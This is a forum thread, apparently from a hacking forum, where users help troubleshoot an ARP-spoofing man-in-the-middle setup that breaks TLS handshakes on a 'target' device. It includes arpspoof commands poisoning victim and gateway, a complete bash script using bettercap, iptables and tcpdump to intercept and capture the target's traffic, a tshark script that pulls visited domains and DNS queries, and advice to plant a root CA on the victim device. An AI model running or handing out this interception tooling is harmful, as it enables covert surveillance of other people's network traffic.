

Forum:[Hack Forums](#)

Thread: [arpspoof's TLS Handshake Issue on Target Device](#)

nypseous - January 9, 2026, 4:28 am

anyone willing to help me out w this bug ?

i keep writing more and more sophisticated code but i cannot find the way around TLS Handshake connectivity disruption

during an arp spoof , i've tried everything adding everything and nothing works , but its weird because out of the handful of tests i've ran on my home network , 3 times ! have been successful .

1. arp spoof (Man in the middle) + tcpdump .pcap file capture for TLS Handshakes & DNS Queries made by target_ip
2. Sniff Network Traffic From Target Device on my network
3. Then clean up all the adjustments i've made for arp spoof so that the TLS Handshake issue work on the targets device

i mean i had it listening for hours and it didnt interrupt my target devices data at all

Afterwards Analyze the TLS handshakes made in the .pcap file and it worked

but i tried testing it again and it stopped working , the TLS handshake problem occurred on the target device once again

ive been at it for days please help , i just want to make my arp spoof work so i can sniff my home lan traffic for security purposes and research

CL1B - January 9, 2026, 4:34 am

Wish I could help.. I'm interested in your journey, keep writing updates if you will.

Welcome to the forum.

LiNixx - January 9, 2026, 6:15 am

(Jan 9, 2026 05:28 AM)nypseous Wrote: [\[CITE\]](#) anyone willing to help me out w this bug ?

i keep writing more and more sophisticated code but i cannot find the way around TLS Handshake connectivity disruption

during an arp spoof , i've tried everything adding everything and nothing works , but its weird because out of the handful of tests i've ran on my home network , 3 times ! have been successful .

1. arp spoof (Man in the middle) + tcpdump .pcap file capture for TLS Handshakes & DNS Queries made by target_ip
2. Sniff Network Traffic From Target Device on my network
3. Then clean up all the adjustments i've made for arp spoof so that the TLS Handshake issue work on the targets device

i mean i had it listening for hours and it didnt interrupt my target devices data at all

Afterwards Analyze the TLS handshakes made in the .pcap file and it worked

but i tried testing it again and it stopped working , the TLS handshake problem occurred on the target device once again

ive been at it for days please help , i just want to make my arpspoof work so i can sniff my home lan traffic for security purposes and research

Are you poisoning both directions ?

Code arpspoof -t victim gateway

arpspoof -t gateway victim

From what you describe it sounds like only one side was poisoned or the gateway reasserting the MAC which is instant tls failure ARP cache is expiring maybe ?

Asymmetric route will kill the TLS handshake.. that what it designed to do.

nypseous - January 9, 2026, 7:22 am

(Jan 9, 2026 07:15 AM)LiNixx Wrote: [\[CITE\]](#) Are you poisoning both directions ?

Code arpspoof -t victim gateway

arpspoof -t gateway victim

From what you describe it sounds like only one side was poisoned or the gateway reasserting the MAC which is instant tls failure ARP cache is expiring maybe ?

Asymmetric route will kill the TLS handshake.. that what it designed to do.

sudo arpspoof -i \$interface -t \$target_ip \$router_ip

sudo arpspoof -i \$interface -t \$router_ip \$target_ip

ive also tried bettercap

but any time ive ever ran arpspoof i've always tried it with those two lines

(Jan 9, 2026 05:34 AM)MarlboroMan Wrote: [\[CITE\]](#) Wish I could help.. I'm interested in your journey, keep writing updates if you will.

Welcome to the forum.

Thanks , are you a pen tester as well ?

LiNixx - January 9, 2026, 7:59 am

Have you tried repeatedly sending the poison packets with -r 0?

Maybe you need to increase the amount of packets sent to stop the client or gateway to stop reasserting the mac

do you see alot of RST errors in the pcap? or maybe filtering for these `tls.record.content_type == 2`

Just things off the top of my head here a little difficult without being there :)

At any rate good luck :)

nypseous - January 9, 2026, 8:03 am

(Jan 9, 2026 08:59 AM)LiNixx Wrote: [\[CITE\]](#) Have you tried repeatedly sending the poison packets with -r 0?

Maybe you need to increase the amount of packets sent to stop the client or gateway to stop reasserting the mac

do you see alot of RST errors in the pcap? or maybe filtering for these `tls.record.content_type == 2`

Just things off the top of my head here a little difficult without being there :)

At any rate good luck :)

how can we discuss this ? i am not yet eligible for pm

(Jan 9, 2026 09:03 AM)nypseous Wrote: [\[CITE\]](#) how can we discuss this ? i am not yet eligible for pm

```
TARGET=$1
ROUTER=$2
IFACE=$(ip route | grep default | awk '{print $5}' | head -1)
```

Cleanup old run

```
sudo ./arp-clean2.sh 2>/dev/null || true
```

echo "[1/7] IP forwarding + low-latency (Kali tweaks)..."

echo ""

```
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward > /dev/null
sudo ethtool -K $IFACE tso off gso off gro off lro off 2>/dev/null
sudo sysctl -w net.ipv4.tcp_low_latency=1 >/dev/null
sudo sysctl -w net.ipv4.tcp_mtu_probing=1 >/dev/null
sudo sysctl -w net.ipv4.tcp_window_scaling=1 >/dev/null
sudo sysctl -w net.ipv6.conf.all.disable_ipv6=1 >/dev/null
sudo sysctl -w net.ipv6.conf.default.disable_ipv6=1 >/dev/null
sudo ifconfig $IFACE mtu 1500 2>/dev/nul
```

echo "[2/7] Allow all forwarding (fix target drops)..."

echo ""

```
sudo iptables -P FORWARD ACCEPT
```

```
sudo iptables -A FORWARD -p udp --dport 53 -j ACCEPT
```

```
sudo iptables -A FORWARD -p tcp --dport 53 -j ACCEPT
```

echo "[3/7] ARP spoofing (add debug + allow for stability)..."

echo ""

```
sudo bettercap -iface $IFACE --debug -eval "set arp.spoof.targets $TARGET; set
arp.spoof.full duplex true; set arp.spoof.internal true; set arp.spoof.allow true; arp.spoof on; net.probe
on" > /tmp/bettercap.log 2>&1 &
P1=$!
sleep 5
```

echo "[4/7] MSS clamp (1460 = max safe from your ping)..."

echo ""

```
sudo iptables -t mangle -F
sudo iptables -t mangle -A FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS
--clamp-mss-to-pmtu # Primary auto-clamp
```

```

sudo iptables -t mangle -A POSTROUTING -o $IFACE -p tcp --tcp-flags SYN,RST SYN -j TCPMSS
--clamp-mss-to-pmtu
sudo iptables -t mangle -A INPUT -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 1420 #
Fallback
sudo iptables -t mangle -A OUTPUT -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 1420
sudo iptables -t mangle -A FORWARD -p icmp -j ACCEPT
sudo iptables -t mangle -A FORWARD -f -j ACCEPT

echo "[5/7] Full traffic capture..."
echo ""
sudo tcpdump -i $IFACE -s0 -w /tmp/mitm_full.pcap "host $TARGET" > /dev/null 2>&1 &
P2=$!

echo "[6/7] Responses-only capture (for incoming TLS)..."
echo ""
sudo tcpdump -i $IFACE -s0 -w /tmp/mitm_responses.pcap "dst host $TARGET and tcp" > /dev/null
2>&1 &
P3=$!

echo "[7/7] Ready! Check /tmp/bettercap.log for debug."
echo ""
echo "$P1 $P2 $P3" > /tmp/mitm_pids.txt

echo ""
echo "=== MITM ACTIVE (TLS Stable) ==="
echo ""
echo "Target: $TARGET | Router: $ROUTER | IFACE: $IFACE"
echo ""
echo "MSS: 1420 (tuned for WiFi TLS—no more handshake timeouts)"
echo ""
echo "Captures: /tmp/mitm_full.pcap + /tmp/mitm_responses.pcap + /tmp/bettercap.log"
echo ""
echo "Stop: sudo ./arp-clean2.sh"
  arp-clean2.sh

sudo pkill -f bettercap
sudo pkill tcpdump

if [ -f /tmp/mitm_pids.txt ]; then
  read P1 P2 < /tmp/mitm_pids.txt
  sudo kill $P1 $P2 2>/dev/null
  rm -f /tmp/mitm_pids.txt
fi

IFACE=$(ip route | grep default | awk '{print $5}' | head -1)

Reset forwarding + tweaks (reverse your additions)
echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward > /dev/null
sudo sysctl -w net.ipv4.tcp_low_latency=0 >/dev/null
sudo sysctl -w net.ipv6.conf.all.disable_ipv6=0 >/dev/null # Re-enable IPv6
sudo sysctl -w net.ipv6.conf.default.disable_ipv6=0 >/dev/null
sudo sysctl -w net.ipv4.tcp_mtu_probing=0 >/dev/null # Reset to default

```

```
sudo sysctl -w net.ipv4.tcp_window_scaling=1 >/dev/null # Default is 1
sudo ethtool -K $IFACE tso on gso on gro on lro on 2>/dev/null # Assumes wlan0; adjust if needed
sudo ifconfig $IFACE mtu 1500 # Reset MTU to default
```

Clean iptables exactly (add DNS deletes)

```
sudo iptables -D FORWARD -p udp --dport 53 -j ACCEPT 2>/dev/null
sudo iptables -D FORWARD -p tcp --dport 53 -j ACCEPT 2>/dev/null
sudo iptables -t mangle -D FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS
--clamp-mss-to-pmtu 2>/dev/null
sudo iptables -t mangle -D POSTROUTING -o $IFACE -p tcp --tcp-flags SYN,RST SYN -j TCPMSS
--clamp-mss-to-pmtu 2>/dev/null
sudo iptables -t mangle -D INPUT -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 1420
2>/dev/null
sudo iptables -t mangle -D OUTPUT -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 1420
2>/dev/null
sudo iptables -t mangle -D FORWARD -p icmp -j ACCEPT 2>/dev/null
sudo iptables -t mangle -D FORWARD -f -j ACCEPT 2>/dev/null
sudo iptables -P FORWARD ACCEPT
sudo iptables -t mangle -F
```

```
echo ""
echo "[?] MITM stopped + restored."
echo ""
```

```
echo "[?] Execution Data : "
```

```
echo ""
TARGET=$1
if [ -f /tmp/mitm_full.pcap ]; then
    echo "=== [$] TLS Handshakes ==="
    tshark -r /tmp/mitm_full.pcap -Y "tls.handshake.type == 1" \
        -T fields -e ip.src -e ip.dst -e tls.handshake.type -e tls.handshake.extensions_server_name |
    sort -u 2>/dev/null
    echo ""
    echo "=== [$] DNS Queries ==="
    tshark -r /tmp/mitm_full.pcap -Y "dns.qry.name" \
        -T fields -e ip.src -e ip.dst -e dns.qry.name | sort -u 2>/dev/null
    echo "=== [$] Complete Traffic Information ==="
    tshark -r /tmp/mitm_full.pcap -Y "ip.addr == $TARGET" -T fields -e frame.time -e ip.src -e ip.dst -e
    tcp.srcport -e tcp.dstport -e dns.qry.name | sort -u 2>/dev/null
fi
echo ""
if [ -f /tmp/mitm_responses.pcap ]; then
    echo "=== [$] TLS Handshakes (with SNI) ==="
    tshark -r /tmp/mitm_responses.pcap -Y "tls.handshake.type == 1" \
        -T fields -e ip.src -e ip.dst -e tls.handshake.extensions_server_name | sort -u 2>/dev/null
fi
```

DramaKing - January 9, 2026, 8:30 am

I don't understand at all this TLS handshakes interrupted but only sometimes issue. However, you're talking about a protocol designed to prevent MitM and analysis against any adversary. You don't even appear to be using your own root CA, making the exercise pointless.

LiNixx - January 9, 2026, 9:23 am

(Jan 9, 2026 09:30 AM)DramaKing Wrote: [\[CITE\]](#) I don't understand at all this TLS handshakes interrupted but only sometimes issue. However, you're talking about a protocol designed to prevent MitM and analysis against any adversary. You don't even appear to be using your own root CA, making the exercise pointless.

That's a Valid point here

You're running Bettercap with the --debug flag, but if you've got any active proxying turned on (like https.proxy), you're essentially hitting a brick wall. Bettercap tries to be the MITM by generating a fake certificate on the fly.

The problem is, unless you've physically grabbed Bettercap's Root CA and manually installed it into the "Trusted Certificates" on the target phone or laptop, that device is going to flag you as an attacker immediately.

With modern browsers and apps especially for big sites like Google or Facebook that use HSTS, the handshake won't just give the user a "Proceed anyway" warning it'll just kill the connection on the spot.

nypseous - January 9, 2026, 6:57 pm

(Jan 9, 2026 10:23 AM)LiNixx Wrote: [\[CITE\]](#) That's a Valid point here

You're running Bettercap with the --debug flag, but if you've got any active proxying turned on (like https.proxy), you're essentially hitting a brick wall. Bettercap tries to be the MITM by generating a fake certificate on the fly.

The problem is, unless you've physically grabbed Bettercap's Root CA and manually installed it into the "Trusted Certificates" on the target phone or laptop, that device is going to flag you as an attacker immediately.

With modern browsers and apps especially for big sites like Google or Facebook that use HSTS, the handshake won't just give the user a "Proceed anyway" warning it'll just kill the connection on the spot.

Thank you , I did some research and this might be the solution but I will say this ,

The bettercap and arpspoof method(s) works with 100% of websites sometimes ... but during all the tests which have failed 50% websites of TLS Handshakes timeout

There must be a way around this 50% of websites , social media websites work just fine but websites like duckduckgo , pokemoncenter , and canva all timeout from TLS Handshakes.

Again I appreciate your love for the art

(Jan 9, 2026 07:57 PM)nypseous Wrote: [\[CITE\]](#) Thank you , I did some research and this might be the solution but I will say this ,

The bettercap and arpspoof method(s) works with 100% of websites sometimes ... but during all the tests which have failed 50% websites of TLS Handshakes timeout

There must be a way around this 50% of websites , social media websites work just fine but websites like duckduckgo , pokemoncenter , and canva all timeout from TLS Handshakes.

Again I appreciate your love for the art

On second thought i just did some more research and yes youre right the most feasible way to do it in 2026 is through

your method.

thank you